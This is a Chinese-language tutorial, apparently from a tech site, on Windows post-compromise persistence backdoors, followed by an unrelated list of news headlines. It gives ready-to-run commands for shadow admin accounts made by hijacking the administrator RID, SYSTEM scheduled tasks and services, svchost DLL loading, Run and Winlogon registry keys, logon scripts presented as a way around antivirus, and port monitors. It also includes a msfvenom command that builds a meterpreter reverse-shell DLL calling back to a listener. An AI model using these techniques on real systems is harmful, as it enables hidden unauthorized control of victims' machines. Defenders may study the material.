0x00 前言
在获取到目标机器的权限后,如果想长时间的对目标进行控制,那么绕不开的一个操作就是权限持久化,为了实现这个目的,许许多多的后门技术应运而生。因此,本文对常见的系统后门技术进行了总结并对其利用方式进行了详细的说明,希望可以对大家的学习提供一些帮助。
0x01 创建影子账户
影子账户其实就是隐藏账户,无论通过 “计算机管理” 还是命令行查询都无法看到,只能在注册表中找到其信息。
hacker 常常通过创建具有管理员权限的影子账户,在目标主机上实现权限维持
注意需要拥有管理员级别的权限
下面来实操如何创建影子账户:
① 在目标机创建一个名为 “hack” 的账户
net user hack$ 123abc!@# /add # “$” 符号表示该用户为隐藏账户,无法通过命令行查询到,但是通过计算机管理的 “本地用户和组” 可以看到隐藏用户
此时,hack$ 还是标准用户,为了使其拥有管理员级别的权限,还需要修改注册表。
② 在注册表中找到 hkey_local_machinesamsam,单击右键,在弹出的菜单中选择 “权限” 选项,将 administrator 用户的权限设置为 “完全控制”。
该注册表项的内容在标准用户和管理员权限下都是不可见的
③ 在注册表项 hkey_local_machinesamsamdomainsaccountusersnames 处选择 administrator 用户,在左侧找到与右边显示的键值的类型 “0x1f4” 相同的目录名。
复制 000001f4 表项的 f 属性的值。
④ 在找到与隐藏账户 hack$ 相应的目录 “000003eb”,将复制的 000001f4 表项中的 f 属性值粘贴到 000003eb 表项中的 f 属性值处,并确认。
到此处,hack$ 用户劫持了 administrator 用户的 rid,从而使 hack$ 用户获得 administrator 用户的权限。
⑤ 分别选中注册表项 “hack$” 和 “000003eb” 并导出,然后执行以下命令,删除 hack$ 用户:
net user hack$ /del
⑥ 将刚才导出的两个注册表项导入注册表。
到此,影子账户 hack$ 就创建好了。此时查看 “本地用户和组” 也看不到该账户,只在注册表中才能看到。
尝试使用影子账户登录远程桌面
0x02 计划任务后门
通过创建计划任务,让目标主机在特定的时间点或规定的周期内重复运行 hacker 预先准备的后门程序,从而实现权限持久化。
执行以下命令,在目标主机上创建一个名为 backdoor 的计划任务,每 60 秒以 system 权限运行一次后门程序 shell.exe。
schtasks /create /tn backdoor /sc minute /mo 1 /tr c:windowssystem32shell.exe /ru system /f# /tn,指定要创建的计划任务的名称# /sc,指定计划任务执行频率# /mo,指定计划任务执行周期# /tr,指定计划任务运行的程序路径# /ru,指定计划任务运行的用户权限# /f,如果指定的任务已经存在,则强制创建
注意:如果以 system 权限运行计划任务,就需要拥有管理员级别的权限。
当计划任务触发后,目标主机就会上线
计算机上所有的计划任务都存储在了 “计算机管理” 中的 “计划任务程序库”。
可以看到,计划任务在 “计划任务程序库” 中以类似文件目录的形式存储,所有计划任务都存储在最内层的目录中。因此,为了增强隐蔽性,建议在创建计划任务后门时遵守这个存储规范。
执行以下命令,在 microsoftwindowsapptask 路径下创建一个名为 “apprun” 的计划任务后门。
schtasks /create /tn microsoftwindowsapptaskapprun /sc daily /st 08:00 /mo 1 /tr c:windowssystem32shell.exe /ru system /f
0x03 系统服务后门
对于启动类型为 “自动” 的系统服务,hacker 可以将服务运行的二进制文件路径设置为后门程序或其他攻击载荷,当系统或服务重启时,可以重新获取对目标主机的控制权。但是,前提条件是已经获取了目标主机的管理员权限。
1. 创建系统服务
执行以下命令,在目标主机上创建一个名为 backdoor 的系统服务,启动类型为 “自动”,启动权限为system:
sc create backdoor binpath= cmd.exe /k c:windowssystem32shell.exe start= auto obj= localsystem # binpath,指定服务的二进制文件路径,注意 “=” 后必须有一个空格 # start,指定启动类型 # obj,指定服务运行的权限
系统或服务重启时,将以 system 权限运行后门程序 shell.exe,目标主机就会上线。
2. 利用现有的系统服务
通过修改现有服务的配置信息,使服务启动时运行指定的后门程序。
hacker 可以通过 “sc config” 命令修改服务的 binpath 选项,也可以尝试修改服务注册表的 imagepath 键,二者都直接指定了相应服务的启动时运行的二进制文件。
① 执行以下命令,将该服务注册表中的 imagepath 键指向预先上传的攻击载荷。
reg add hkey_local_machinesystemcurrentcontrolsetservicesregsvc /v imagepath /t reg_expand_sz /d cmd.exe /k c:userspublicshell.exe /f
② 系统或服务重启时,将以 system 权限运行后门程序 shell.exe,目标主机就会上线。
3. 利用 svchost.exe 启动服务
svchost.exe 是 windows 的系统文件,svchost.exe 是从动态链接库(dll)中运行的服务的通用主机进程名称。该程序本身只是作为服务的宿主,许多系统服务通过注入该程序进程中启动,所以系统中会存在多个该程序的进程。
在 windows 系统中,需要由 svchost.exe 进程启动的服务将以 dll 形式实现。在安装这些服务时,需要将服务的可执行文件路径指向 svchost.exe。在启动这些服务时,由 svchost.exe 调用相应服务的 dll 文件,而具体调用哪个 dll 是由该服务在注册表的信息所决定的。
下面以 wuauserv 服务(windows update)为例进行讲解:
在注册表中定位到 hkey_local_machinesystemcurrentcontrolsetserviceswuauserv。从 imagepath 键值可以得知,该服务启动的可执行文件的路径为 c:windowssystem32svchost.exe -k netsvcs,说明该服务是依靠 svchost.exe 加载 dll 文件来实现的。
wuauserv 服务的注册表下还有一个 parameters 子项,其中的 servicedll 键值表明该服务由哪个 dll 文件负责。当服务启动时,svchost.exe 就会加载 wuaueng.dll 文件,并执行其提供的具体服务。
注意:系统会根据服务可执行文件路径中的参数对服务进行分组,如 c:windowssystem32svchost.exe -k netsvcs 表明该服务属于 netsvcs 这个服务组。通常,每个 svchost 进程负责运行一组服务。因此,并不是每启动一个服务就会增加一个 svchost.exe 进程。
svchost.exe 的所有服务分组位于注册表的 hkey_local_machinesoftwaremicrosoftwindows ntcurrentversionsvchost 中。通过 svchost.exe 加载启动的服务都要在该表项中注册。
实战中,hacker 可以通过 svchost.exe 加载恶意服务,以此来建立持久化后门。由于恶意服务的 dll 将加载到 svchost.exe 进程,恶意进程不是独立运行的,因此具有很高的隐蔽性。
接下来进行实操:
① 使用 msf 生成一个负责提供恶意服务的 dll 文件,然后将生成的 dll 上传到目标主机的 system32 目录。
msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=192.168.220.132 lport=6666 -f dll > reverse_tcp.dll
② 创建名为 backdoor 的服务,并以 svchost 加载的方式启动,服务分组为 netsvc
sc create backdoor binpath= c:windowssystem32svchost.exe -k netsvc start= auto obj= localsystem
③ 将 backdoor 服务启动时加载的 dll 设为 reverse_tcp.dll
reg add hkey_local_machinesystemcurrentcontrolsetservicesbackdoorparameters /v servicedll /t reg_expand_sz /d c:windowssystem32everse_tcp.dll
④ 配置服务描述
reg add hkey_local_machinesystemcurrentcontrolsetservicesbackdoor /v description /t reg_sz /d windows service
⑤ 配置服务显示名称
reg add hkey_local_machinesystemcurrentcontrolsetservicesbackdoor /v displayname /t reg_sz /d backdoor
⑥ 创建服务新分组 netsvc,并将 backdoor 服务添加进去
reg add hkey_local_machinesoftwaremicrosoftwindows ntcurrentversionsvchost /v netsvc /t reg_multi_sz /d backdoor
⑦ 当系统重启时,svchost 以 system 权限加载恶意服务,目标主机就会上线。
0x04 启动项/注册表键后门
hacker 可以通过将后门程序添加到系统启动文件夹或通过注册表运行键引用来进行权限持久化。添加的后门程序将在用户登录的上下文中启动,并且将具有与账户相关联的权限等级。
1. 系统启动文件夹
将程序放置在启动文件夹中会导致该程序在用户登录时执行。
windows 系统有两种常见的启动文件夹:
# 位于以下目录中的程序将在指定用户登录时启动 c:users[username]appdataroamingmicrosoftwindowsstart c:users[username]appdataroamingmicrosoftwindowsstart menuprogramsstartup # 位于以下目录中的程序将在所有用户登录时启动 c:programdatamicrosoftwindowsstart menuprogramsstartup
尝试将后门程序放入 hack 用户的启动文件夹
切换用户登录,成功上线
2. 运行键(run keys)
windows 系统上有许多注册表项可以用来设置在系统启动或用户登录时运行指定的程序或加载指定 dll 文件,hacker 可以对此类注册表进行滥用,以建立持久化后门。
当用户登录时,系统会依次检查位于注册表运行键(run keys)中的程序,并在用户登录的上下文中启动。windows 系统默认创建以下运行键,如果修改 hkey_local_machine 下的运行键,需要拥有管理员级别的权限。
# 以下注册表项中的程序将在当前用户登录时启动hkey_current_usersoftwaremicrosoftwindowscurrentversionrunhkey_current_usersoftwaremicrosoftwindowscurrentversionrunonce# 以下注册表中的程序将在所有用户登录时启动hkey_local_machinesoftwaremicrosoftwindowscurrentversionrunhkey_local_machinesoftwaremicrosoftwindowscurrentversionrunoncehkey_local_machinesoftwarewow6432nodemicrosoftwindowscurrentversionrunhkey_local_machinesoftwarewow6432nodemicrosoftwindowscurrentversionrunonce
执行以下命令,在注册表运行键中添加一个名为 “backdoor” 的键,并将键值指向后门程序的绝对路径。
reg add hkey_local_machinesoftwaremicrosoftwindowscurrentversionrun /v backdoor /t reg_sz /d c:windowssystem32shell.exe
当用户重新登录时,目标主机就会上线。
3. winlogon helper
winlogon 是 windows 系统的组件,用于处理与用户有关的各种行为,如登录、注销、在登录时加载用户配置文件、锁定屏幕等。这些行为由系统注册表管理,注册表中的一些键值定义了在 windows 登录期间会启动哪些进程。
hacker 可以滥用此类注册表键值,使 winlogon 在用户登录时执行恶意程序,以此建立持久化后门。
常见的有以下两个:
# 指定用户登录时执行的用户初始化程序,默认为 userinit.exehkey_local_machinesoftwaremicrosoftwindows ntcurrentversionwinlogonuserinit# 指定 windows 身份验证期间执行的程序,默认为 explorer.exehkey_local_machinesoftwaremicrosoftwindows ntcurrentversionwinlogonshell
执行以下命令,在 userinit 键值中添加一个后门程序。
reg add hkey_local_machinesoftwaremicrosoftwindows ntcurrentversionwinlogon /v userinit /d c:windowssystem32userinit.exe,shell.exe /f
当用户重新登录时,目标主机就会上线。
注意:在滥用 userinit 和 shell 键时需要保留键值中的原有程序,将待启动的后门程序添加到原有程序后面,并以 “,” 进行分隔。并且,后面程序需要被上传至 c:windowssystem32 目录。
4. logon scripts
logon scripts是优先于很多杀毒软件启动的,所以可以通过这种方式绕过杀毒软件敏感操作拦截。
执行以下命令,在 hkey_current_user/enviroment 下新建字符串键值 userinitmprlogonscript,键值设置为想要执行的程序或bat脚本的路径:
reg add hkey_current_userenvironment /v userinitmprlogonscript /t reg_sz /d c:windowssystem32shell.exe
重启系统或重新登陆账户,成功上线
0x05 port monitors后门
打印后台处理服务(print spooler)负责管理 windows 系统的打印作业。与该服务的交互是通过 print spooler api 执行的,其中包含 addmonitor 函数,用于安装 port monitors(本地端口监听器),并连接配置、数据和监视器文件。addmonitor 函数能够将 dll 注入 spoolsv.exe 进程,以实现相应功能,并且通过创建注册表键,hacker 可以在目标系统上进行权限持久化。
注意:利用该技术需要拥有管理员级别的权限。
① 通过 msf 生成一个 64 位的恶意 dll
② 将生成的 dll 上传到目标主机的 c:windowssystem32 目录中,执行一下命令,通过编辑注册表安装一个端口监视器。
reg add hkey_local_machinesystemcurrentcontrolsetcontrolprintmonitorstestmonitor /v driver /t reg_sz /d reverse_tcp.dll
当系统重启时,print spooler 服务在启动过程中会读取 monitors 注册表项的所有子健,并以 system 权限加载 driver 键值所指定的 dll 文件。
0x06 总结
在本文的很多例子中,其实都会或多或少与一个东西有关,那就是注册表。关于注册表,我觉得值得花时间去仔细研究一番,一定会有很大的收获。
关于系统后门技术其实还有许许多多,本文只是将常见的一些技术拿出来进行了分享,希望可以对大家的学习有帮助。如有不对,欢迎指正。
彩晶技术新突破,显示屏亮相于西安十四运场馆周边
金天弘科技完成万分级高精度MEMS谐振式压力传感器
海康威视热像仪-H10已成为了暖通测漏工程师必备的利器
面对市场霸主国产FPGA何时才能逆风翻盘
中国AI发展史盘点 人工智能的崛起离不开一代又一代AI人的努力与拼搏
对常见的系统后门技术及利用方式进行详细说明
基于MiniStar的FPGA串口0中断
WhatsApp正在开发一项新功能,它将引入自动删除对话中发送的图像
诺基亚N9白色版将在年底前发布
车用芯片不足致车厂减产问题持续蔓延
小编科普零件创建的5个技巧
刘智丰加盟 长城汽车抢占新能源市场又多了一份助力
封存33天 美菱开启“极鲜挑战”
为何苹果公司将iPhone 12 Pro命名为“乔布斯 4”?
一汽大众携手海康机器人,实现厂级协同的智慧物流系统
韩国计划十年斥资约4500亿美元建立全球最大芯片制造基地
漏洞多多,工控安全防护刻不容缓
2023年,AI浪潮再掀起,元宇宙如何觉醒与眺望?
苹果正在为iPhone系列手机研发自己的基带
虹科干货 | 教您实现虹科工业树莓派对远程IO模块的控制